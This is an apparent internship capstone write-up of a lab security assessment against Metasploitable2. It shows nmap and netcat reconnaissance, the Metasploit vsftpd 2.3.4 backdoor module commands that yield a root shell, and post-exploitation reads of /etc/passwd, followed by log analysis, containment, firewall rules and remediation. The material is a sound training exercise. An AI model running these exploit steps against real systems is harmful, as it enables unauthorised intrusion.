ApexPlanet Cybersecurity Internship - Task 5 Complete Notes

Author: Jetty Charan
Program: Cybersecurity & Ethical Hacking Internship
Timeline: Days 49 to 60
Target Environment: Metasploitable2 (`192.168.56.103`)
Attacker Platform: Kali Linux (`192.168.56.0/24` - VirtualBox Host-Only Network)

---

1. Executive Summary & Lab Overview

Task 5 serves as the capstone evaluation for the ApexPlanet Cybersecurity Internship. The objective was to execute an end-to-end security assessment against a controlled vulnerable Linux node (`Metasploitable2`), follow an ethical security testing workflow, and simulate a full Incident Response (IR) cycle encompassing threat detection, log auditing, network containment, and system recovery.

Key Milestones Covered:

1. **Lab Setup & Connectivity Verification:** Establishing network line-of-sight in an isolated host-only environment.
2. **Reconnaissance & Service Fingerprinting:** Mapping exposed TCP/UDP ports and daemon versions.
3. **Controlled Vulnerability Validation:** Testing known service vulnerabilities to confirm potential exposure.
4. **Post-Exploitation Auditing:** Gathering system metrics, user privileges, and configuration details.
5. **Incident Response & Threat Detection:** Analyzing authentication logs and active socket bindings to identify anomalies.
6. **Containment & Remediation:** Applying firewall rules, terminating unauthorized processes, and documenting mitigation strategies.

---

2. Lab Setup & Reachability Verification

Objectives

- Ensure the attacker node (Kali Linux) and target node (Metasploitable2) communicate over a dedicated, non-routing layer-2 VirtualBox Host-Only adapter.
- Verify IP configuration and network latency.

Execution & Technical Notes

- Local IP address verification on Kali Linux via `ifconfig` confirmed membership in the `192.168.56.0/24` subnet.
- Target connectivity was verified using standard ICMP echo requests:

```
Shell
ping -c 4 192.168.56.103
```

- **Key Finding:** Zero packet loss confirmed active Layer 3 communication between nodes.

---

3. Reconnaissance & Network Service Enumeration

Objectives

- Perform comprehensive port discovery across TCP and UDP protocols.
- Fingerprint running service daemons, operating system kernel versions, and exposed software builds.

Execution & Technical Notes

1. **Full TCP Stealth SYN Scan:**

```
Shell
nmap -sS -sV -O 192.168.56.103
```

    - Identifies open TCP ports without completing the full 3-way handshake where possible.
    - Extracts daemon banners to identify specific software versions.
2. **Top Port Quick Assessment:**

```
Shell
nmap -sS -sV --top-ports 100 192.168.56.103
```

3. **UDP Service Enumeration:**

```
Shell
nmap -sU --top-ports 20 192.168.56.103
```

Findings Summary Table

Port / Protocol	Service	Software Version	Security Assessment
21 / TCP	FTP	`vsftpd 2.3.4`	Critical: Known backdoor vulnerability
22 / TCP	SSH	`OpenSSH 4.7p1`	Medium: Legacy SSH implementation
23 / TCP	Telnet	Linux TelnetD	High: Cleartext authentication protocol
80 / TCP	HTTP	Apache `2.2.8`	High: Multiple vulnerable web apps hosted
5432 / TCP	PostgreSQL	PostgreSQL 8.3	Medium: Database service accessible

---

4. Manual Service Banner Probing

Objectives

- Perform direct TCP connection tests to inspect raw service response banners.
- Test port responsiveness without full framework overhead.

Execution & Technical Notes

- Direct banner grabbing on FTP port 21:

```
Shell
nc -v 192.168.56.103 21
```

    - Returned banner: `220 (vsFTPd 2.3.4)`.
- HTTP service availability test:

```
Shell
nc -v 192.168.56.103 80
```

- Standard port sweep using Netcat:

```
Shell
nc -z -v 192.168.56.103 1-1024
```

---

5. Controlled Vulnerability Verification (Metasploit)

Objectives

- Validate whether identified service versions present actionable vulnerabilities in a controlled environment.
- Demonstrate risk impact to support vulnerability management prioritization.

Execution & Technical Notes

1. Launched the Metasploit Framework:

```
Shell
msfconsole
```

2. Loaded the targeted verification module matching the `vsftpd 2.3.4` service:

```msf
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.103
show options
exploit
```

3. **Outcome:** Successfully established an interactive command session, verifying that the target system host is severely compromised by unpatched legacy software.

---

6. Post-Verification & System Auditing

Objectives

- Collect diagnostic system metrics to evaluate host exposure and access level.
- Document permissions granted by the unpatched service.

Execution & Technical Notes

Commands executed within the verified interactive session:

- `id`: Returned `uid=0(root) gid=0(root)` — confirming complete administrative control.
- `whoami`: Output `root`.
- `uname -a`: Detailed Linux kernel details (`Linux metasploitable 2.6.24-16-server`).
- `hostname`: Identified local machine name (`metasploitable`).
- `ifconfig`: Documented active network interfaces on target.
- `pwd`: Output `/` (root directory).
- `cat /etc/passwd`: Audited system account definitions.

---

7. Incident Response - Threat Detection & Log Analysis

Objectives

- Transition to the defensive perspective (SOC / IR Analyst).
- Detect unauthorized connection indicators, audit running processes, and review system logs.

Execution & Technical Notes

1. **Socket & Connection Auditing:**

```shell
netstat -tulnp
netstat -an | grep ESTABLISHED
```

   - Identified active connections on non-standard ports linked to root process IDs.
2. **Log Record Inspection:**

```shell
tail -n 50 /var/log/auth.log
tail -n 50 /var/log/vsftpd.log
cat /var/log/syslog | grep -i "connection"
```

- Observed anomalous login patterns and rapid session creation without standard authentication sequences.

---

8. Incident Response - Containment, Eradication & Hardening

Objectives

- Implement emergency containment measures to isolate the target host.
- Terminate unauthorized process trees.
- Apply host-based firewall rules to mitigate service exposure.

Execution & Technical Notes

1. **Network Interface Isolation:**

```shell
ifconfig eth0 down
```

- Immediately drops active network sessions and prevents lateral movement across the subnet.

2. **Process Eradication:**

```shell
ps aux | grep sh
kill -9 <process_id>
```

- Located and terminated spawned interactive shell instances.

3. **Firewall Mitigation:**

```shell
iptables -A INPUT -p tcp --destination-port 21 -j DROP
iptables -L -v -n
```

- Appended a strict drop rule on port 21 to block further inbound traffic while remediation takes place.

---

9. Key Remediation & Defense Recommendations

To transition the evaluated environment into a secure baseline state, the following mitigations must be implemented:

1. **Disable Insecure Protocols:** Replace unencrypted services like Telnet and plain FTP with secure equivalents (SSH, SFTP/SCP).
2. **Patch Management:** Upgrade `vsftpd` to a patched baseline release or replace it with a modern, actively maintained FTP daemon.
3. **Network Micro-segmentation:** Implement strict `iptables` or host firewall default-deny policies, allowing access only from authenticated administrative management workstations.
4. **Centralized Logging & SIEM Integration:** Ship `/var/log/auth.log` and service logs to a centralized log server to facilitate real-time alert generation upon anomalous socket creation.